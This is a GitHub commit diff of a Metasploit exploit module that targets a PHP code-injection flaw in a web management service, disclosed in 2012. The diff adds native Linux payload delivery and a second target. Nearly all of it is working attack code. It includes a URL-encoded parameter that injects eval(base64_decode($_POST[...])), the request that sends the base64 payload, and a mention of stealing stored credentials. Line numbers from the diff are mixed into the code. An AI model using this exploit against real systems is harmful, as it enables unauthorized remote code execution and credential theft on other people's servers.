6
6
##
7
7
8
8
require 'msf/core'
9
+ require 'msf/core/exploit/php_exe'
9
10
10
11
class Metasploit3 < Msf ::Exploit ::Remote
11
12
Rank = ExcellentRanking
12
13
13
14
include Msf ::Exploit ::Remote ::HttpClient
15
+ include Msf ::Exploit ::PhpEXE
14
16
15
17
def initialize ( info = { } )
16
18
super ( update_info ( info ,
@@ -22,9 +24,12 @@ def initialize(info = {})
22
24
note that in order to be able to steal credentials, the vulnerable service
23
25
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
24
26
} ,
25
- 'Author' => [ 'h0ng10' ] , # original discovery, msf module
27
+ 'Author' =>
28
+ [
29
+ 'h0ng10' , # original discovery, msf module
30
+ 'sinn3r' # PhpEXE shizzle
31
+ ] ,
26
32
'License' => MSF_LICENSE ,
27
- 'Version' => '$Revision$' ,
28
33
'References' =>
29
34
[
30
35
[ 'OSVDB' , '83199' ] ,
@@ -33,13 +38,16 @@ def initialize(info = {})
33
38
'Payload' =>
34
39
{
35
40
'DisableNops' => true ,
36
- 'Space' => 4000 ,
37
- 'Keys' => [ 'php' ]
41
+ 'Space' => 4000
38
42
} ,
39
- 'Platform' => [ 'php' ] ,
43
+ 'Platform' => [ 'php' , 'linux '] ,
40
44
'Arch' => ARCH_PHP ,
41
45
42
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
+ 'Targets' =>
47
+ [
48
+ [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
49
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
50
+ ] ,
43
51
'DefaultTarget' => 0 ,
44
52
'Privileged' => true ,
45
53
'DisclosureDate' => 'Jun 26 2012'
@@ -66,9 +74,8 @@ def check
66
74
67
75
def execute_php_code ( code , opts = { } )
68
76
param_name = rand_text_alpha ( 6 )
69
- padding = rand_text_alpha ( 6 )
70
- php_code = Rex ::Text . encode_base64 ( code )
71
- url_param = "#{ padding } %22%5d,%20eval(base64_decode(%24_POST%5b%27#{ param_name } %27%5d))%29;%2f%2f"
77
+ padding = rand_text_alpha ( 6 )
78
+ url_param = "#{ padding } %22%5d,%20eval(base64_decode(%24_POST%5b%27#{ param_name } %27%5d))%29;%2f%2f"
72
79
73
80
res = send_request_cgi (
74
81
{
@@ -80,19 +87,27 @@ def execute_php_code(code, opts = {})
80
87
} ,
81
88
'vars_post' =>
82
89
{
83
- param_name => php_code ,
90
+ param_name => Rex :: Text . encode_base64 ( code ) ,
84
91
} ,
85
92
'headers' =>
86
93
{
87
94
'Connection' => 'Close' ,
88
95
}
89
- } )
90
- res
96
+ } )
97
+ end
98
+
99
+ def no_php_tags ( p )
100
+ p = p . gsub ( /^<\? php / , '' )
101
+ p . gsub ( / \? \> $/ , '' )
91
102
end
92
103
93
104
def exploit
94
105
print_status ( "#{ rhost } :#{ rport } - Sending payload" )
95
- execute_php_code ( payload . encoded )
106
+
107
+ unlink = ( target [ 'Platform' ] == 'linux' ) ? true : false
108
+ p = no_php_tags ( get_write_exec_payload ( :unlink_self => unlink ) )
109
+
110
+ execute_php_code ( p )
96
111
handler
97
112
end
98
113
end
0 commit comments